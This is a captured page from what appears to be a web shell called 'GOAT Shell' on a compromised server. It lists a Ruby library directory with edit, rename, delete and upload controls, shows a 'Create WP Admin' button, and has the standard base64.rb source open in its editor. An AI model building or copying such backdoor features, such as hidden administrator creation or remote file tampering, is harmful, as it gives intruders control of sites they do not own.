🐐 GOAT Shell
Current path:
opt
/
alt
/
ruby32
/
share
/
ruby
/
👤 Create WP Admin
⬆️
Go up: share
✏️ Editing: base64.rb
# frozen_string_literal: true # # = base64.rb: methods for base64-encoding and -decoding strings # # The Base64 module provides for the encoding (#encode64, #strict_encode64, # #urlsafe_encode64) and decoding (#decode64, #strict_decode64, # #urlsafe_decode64) of binary data using a Base64 representation. # # == Example # # A simple encoding and decoding. # # require "base64" # # enc = Base64.encode64('Send reinforcements') # # -> "U2VuZCByZWluZm9yY2VtZW50cw==\n" # plain = Base64.decode64(enc) # # -> "Send reinforcements" # # The purpose of using base64 to encode data is that it translates any # binary data into purely printable characters. module Base64 module_function # Returns the Base64-encoded version of +bin+. # This method complies with RFC 2045. # Line feeds are added to every 60 encoded characters. # # require 'base64' # Base64.encode64("Now is the time for all good coders\nto learn Ruby") # # <i>Generates:</i> # # Tm93IGlzIHRoZSB0aW1lIGZvciBhbGwgZ29vZCBjb2RlcnMKdG8gbGVhcm4g # UnVieQ== def encode64(bin) [bin].pack("m") end # Returns the Base64-decoded version of +str+. # This method complies with RFC 2045. # Characters outside the base alphabet are ignored. # # require 'base64' # str = 'VGhpcyBpcyBsaW5lIG9uZQpUaGlzIG' + # 'lzIGxpbmUgdHdvClRoaXMgaXMgbGlu' + # 'ZSB0aHJlZQpBbmQgc28gb24uLi4K' # puts Base64.decode64(str) # # <i>Generates:</i> # # This is line one # This is line two # This is line three # And so on... def decode64(str) str.unpack1("m") end # Returns the Base64-encoded version of +bin+. # This method complies with RFC 4648. # No line feeds are added. def strict_encode64(bin) [bin].pack("m0") end # Returns the Base64-decoded version of +str+. # This method complies with RFC 4648. # ArgumentError is raised if +str+ is incorrectly padded or contains # non-alphabet characters. Note that CR or LF are also rejected. def strict_decode64(str) str.unpack1("m0") end # Returns the Base64-encoded version of +bin+. # This method complies with ``Base 64 Encoding with URL and Filename Safe # Alphabet'' in RFC 4648. # The alphabet uses '-' instead of '+' and '_' instead of '/'. # Note that the result can still contain '='. # You can remove the padding by setting +padding+ as false. def urlsafe_encode64(bin, padding: true) str = strict_encode64(bin) str.chomp!("==") or str.chomp!("=") unless padding str.tr!("+/", "-_") str end # Returns the Base64-decoded version of +str+. # This method complies with ``Base 64 Encoding with URL and Filename Safe # Alphabet'' in RFC 4648. # The alphabet uses '-' instead of '+' and '_' instead of '/'. # # The padding character is optional. # This method accepts both correctly-padded and unpadded input. # Note that it still rejects incorrectly-padded input. def urlsafe_decode64(str) # NOTE: RFC 4648 does say nothing about unpadded input, but says that # "the excess pad characters MAY also be ignored", so it is inferred that # unpadded input is also acceptable. if !str.end_with?("=") && str.length % 4 != 0 str = str.ljust((str.length + 3) & ~3, "=") str.tr!("-_", "+/") else str = str.tr("-_", "+/") end strict_decode64(str) end end
Save
📁
benchmark
|
✏️ Rename
|
🗑️ Delete
📁
bigdecimal
|
✏️ Rename
|
🗑️ Delete
📁
cgi
|
✏️ Rename
|
🗑️ Delete
📁
csv
|
✏️ Rename
|
🗑️ Delete
📁
did_you_mean
|
✏️ Rename
|
🗑️ Delete
📁
digest
|
✏️ Rename
|
🗑️ Delete
📁
drb
|
✏️ Rename
|
🗑️ Delete
📁
erb
|
✏️ Rename
|
🗑️ Delete
📁
error_highlight
|
✏️ Rename
|
🗑️ Delete
📁
fiddle
|
✏️ Rename
|
🗑️ Delete
📁
forwardable
|
✏️ Rename
|
🗑️ Delete
📁
io
|
✏️ Rename
|
🗑️ Delete
📁
json
|
✏️ Rename
|
🗑️ Delete
📁
logger
|
✏️ Rename
|
🗑️ Delete
📁
net
|
✏️ Rename
|
🗑️ Delete
📁
objspace
|
✏️ Rename
|
🗑️ Delete
📁
open3
|
✏️ Rename
|
🗑️ Delete
📁
openssl
|
✏️ Rename
|
🗑️ Delete
📁
optparse
|
✏️ Rename
|
🗑️ Delete
📁
psych
|
✏️ Rename
|
🗑️ Delete
📁
racc
|
✏️ Rename
|
🗑️ Delete
📁
random
|
✏️ Rename
|
🗑️ Delete
📁
reline
|
✏️ Rename
|
🗑️ Delete
📁
rinda
|
✏️ Rename
|
🗑️ Delete
📁
ripper
|
✏️ Rename
|
🗑️ Delete
📁
ruby_vm
|
✏️ Rename
|
🗑️ Delete
📁
set
|
✏️ Rename
|
🗑️ Delete
📁
syntax_suggest
|
✏️ Rename
|
🗑️ Delete
📁
syslog
|
✏️ Rename
|
🗑️ Delete
📁
unicode_normalize
|
✏️ Rename
|
🗑️ Delete
📁
uri
|
✏️ Rename
|
🗑️ Delete
📁
vendor_ruby
|
✏️ Rename
|
🗑️ Delete
📁
yaml
|
✏️ Rename
|
🗑️ Delete
📄
abbrev.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
base64.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
benchmark.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
bigdecimal.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
cgi.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
coverage.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
csv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
date.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
delegate.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
did_you_mean.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
digest.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
drb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
English.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
erb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
error_highlight.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
expect.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fiddle.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fileutils.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
find.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
forwardable.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
getoptlong.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ipaddr.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
json.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
kconv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
logger.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mkmf.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
monitor.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mutex_m.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
objspace.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
observer.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open-uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open3.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
openssl.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
optionparser.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
optparse.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ostruct.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pathname.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pp.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
prettyprint.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pstore.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
psych.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
racc.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
readline.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
reline.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv-replace.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ripper.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
securerandom.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
set.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
shellwords.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
singleton.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
socket.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
syntax_suggest.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tempfile.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
time.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
timeout.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tmpdir.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tsort.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
un.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
weakref.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
yaml.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📤 Upload File
Upload
📁 Create Folder
Create Folder